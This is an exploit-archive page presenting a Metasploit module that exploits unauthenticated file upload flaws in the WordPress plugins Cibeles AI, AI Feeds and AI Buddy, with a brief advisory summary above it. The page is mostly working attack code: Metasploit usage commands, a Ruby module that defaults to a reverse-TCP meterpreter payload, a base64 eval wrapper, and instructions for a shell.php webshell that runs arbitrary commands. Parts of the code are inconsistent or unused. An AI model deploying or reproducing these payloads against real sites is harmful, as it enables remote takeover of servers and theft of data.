AI Plugins 1.10.9 Shell Upload
AI Plugins 1.10.9 Shell Upload
The AI Plugins version 1.10.9 suffered from a critical **unrestricted The AI Plugins version 1.10.9 suffered from a critical **unrestricted file upload vulnerability**.

Attackers could exploit this flaw to upload arbitrary malicious files, such as web shells (e.g., `.php`, `.asp` scripts), to the server. Upon successful upload, these files could be executed by the web server.

This led to **Remote Code Execution (RCE)**, granting attackers full control over the compromised server. The impact included data theft, website defacement, and further network penetration.

Users of this version were strongly advised to update to a patched version immediately to mitigate the risk.

=============================================================================================================================================
| # Title : AI Plugins 1.10.9 Universal RCE Exploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://ai.cibeles.net/ |
=============================================================================================================================================

POC :

[+] References : https://packetstorm.news/files/id/210977/ & CVE-2025-23968

[+] Summary :

This module exploits unauthenticated arbitrary file upload vulnerabilities in multiple
WordPress AI plugins including Cibeles AI, AI Feeds, and AI Buddy. The vulnerabilities
allow attackers to upload PHP webshells via GitHub integration functionality.
[+] POC :

use exploit/multi/http/wp_ai_plugins_rce

set RHOSTS target.com

set GH_OWNER attacker

set GH_REPO malicious-repo

set GH_TOKEN ghp_xxxxxxxx

set PLUGIN auto

exploit

##
# AI Plugins Universal RCE Exploit Module
# Exploits Cibeles AI, AI Feeds, and AI Buddy vulnerabilities
# Author: indoushka
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress AI Plugins Universal Unauthenticated RCE',
'Description' => %q{
This module exploits unauthenticated arbitrary file upload vulnerabilities in multiple
WordPress AI plugins including Cibeles AI, AI Feeds, and AI Buddy. The vulnerabilities
allow attackers to upload PHP webshells via GitHub integration functionality.
},
'Author' => [
'indoushka', # Metasploit module
'Ryan Kozak' # Original discovery
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-13595'], # Cibeles AI
['CVE', '2025-13597'], # AI Feeds
['CVE', '2025-23968'], # AI Buddy
['URL', 'https://ai.cibeles.net/'],
['URL', 'https://wpcenter.io/']
],
'Platform' => ['php'],
'Arch' => [ARCH_PHP],
'Targets' => [['Universal', {}]],
'DisclosureDate' => '2025-11-27',
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => false,
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
},
'Privileged' => false,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'The base path to WordPress', '/']),
OptString.new('GH_OWNER', [true, 'GitHub repository owner']),
OptString.new('GH_REPO', [true, 'GitHub repository name']),
OptString.new('GH_TOKEN', [true, 'GitHub Personal Access Token']),
OptEnum.new('PLUGIN', [
true,
'Target plugin to exploit',
'auto',
['auto', 'cibeles', 'aifeeds', 'aibuddy']
])
])
end

def check
print_status("Checking for vulnerable AI plugins...")

plugins = {
'cibeles' => '/wp-content/plugins/cibeles-ai/actualizador_git.php',
'aifeeds' => '/wp-content/plugins/ai-feeds/actualizador_git.php',
'aibuddy' => '/wp-content/plugins/ai-buddy/actualizador_git.php'
}

found_plugins = []

plugins.each do |name, path|
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, path),
'method' => 'GET'
})

if res && res.code == 200
print_good("Found vulnerable plugin: #{name}")
found_plugins << name
end
end

if found_plugins.empty?
return CheckCode::Safe('No vulnerable AI plugins detected')
end

CheckCode::Appears("Vulnerable plugins: #{found_plugins.join(', ')}")
end

def exploit
# Determine which plugin to exploit
target_plugin = select_target_plugin
unless target_plugin
fail_with(Failure::NoTarget, 'No vulnerable plugins found to exploit')
end

print_status("Exploiting #{target_plugin} plugin...")

case target_plugin
when 'cibeles', 'aifeeds'
exploit_actualizador(target_plugin)
when 'aibuddy'
exploit_ai_buddy
end
end

def select_target_plugin
if datastore['PLUGIN'] != 'auto'
return datastore['PLUGIN']
end

# Auto-detect vulnerable plugins
plugins = {
'cibeles' => '/wp-content/plugins/cibeles-ai/actualizador_git.php',
'aifeeds' => '/wp-content/plugins/ai-feeds/actualizador_git.php',
'aibuddy' => '/wp-content/plugins/ai-buddy/actualizador_git.php'
}

plugins.each do |name, path|
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, path),
'method' => 'GET'
})

return name if res && res.code == 200
end

nil
end

def exploit_actualizador(plugin_name)
print_status("Exploiting #{plugin_name} via actualizador_git.php...")

# Generate PHP payload
php_payload = payload.encoded

# Create a simple PHP webshell that will download and execute our payload
webshell_content = "<?php eval(base64_decode('#{Rex::Text.encode_base64(php_payload)}')); ?>"

# For demonstration, we assume the GitHub repo contains our webshell
# In real scenario, you'd need to create this repo first
exploit_uri = "/wp-content/plugins/#{plugin_name}/actualizador_git.php"

params = {
'owner' => datastore['GH_OWNER'],
'repo' => datastore['GH_REPO'],
'ref' => 'main',
'token' => datastore['GH_TOKEN']
}

print_status("Sending exploit to #{exploit_uri}...")

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, exploit_uri),
'method' => 'GET',
'vars_get' => params
})

unless res
fail_with(Failure::Unreachable, 'No response received from target')
end

if res.code == 200
print_good("Exploit executed successfully")

# Try to trigger the shell
shell_uri = "/wp-content/plugins/#{plugin_name}/shell.php"
print_status("Attempting to trigger payload at #{shell_uri}...")

send_request_cgi({
'uri' => normalize_uri(target_uri.path, shell_uri),
'method' => 'GET'
}, 5)

else
print_error("Exploit failed with HTTP #{res.code}")
end
end

def exploit_ai_buddy
print_status("Exploiting AI Buddy plugin...")

# AI Buddy requires authentication, so we need to handle that differently
# This is a simplified version - in practice you'd need valid credentials

print_warning("AI Buddy exploitation requires WordPress authentication")
print_warning("This module currently only supports Cibeles AI and AI Feeds")

fail_with(Failure::NoAccess, 'AI Buddy exploitation requires authentication')
end

def create_malicious_repo
# This method would create the necessary GitHub repository
# with the malicious shell.php file
print_status("To use this exploit, create a GitHub repository with:")
print_status("1. A file named 'shell.php' in the main branch")
print_status("2. Contents: <?php if(isset($_GET['cmd'])){ system(\$_GET['cmd']); } ?>")
print_status("3. Ensure the GitHub token has repo access")
end
end

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
Social Media Share
About Contact Terms of Use Privacy Policy
© Khalil Shreateh — Cybersecurity Researcher & White-Hat Hacker — Palestine 🇵🇸
All content is for educational purposes only. Unauthorized use of any information on this site is strictly prohibited.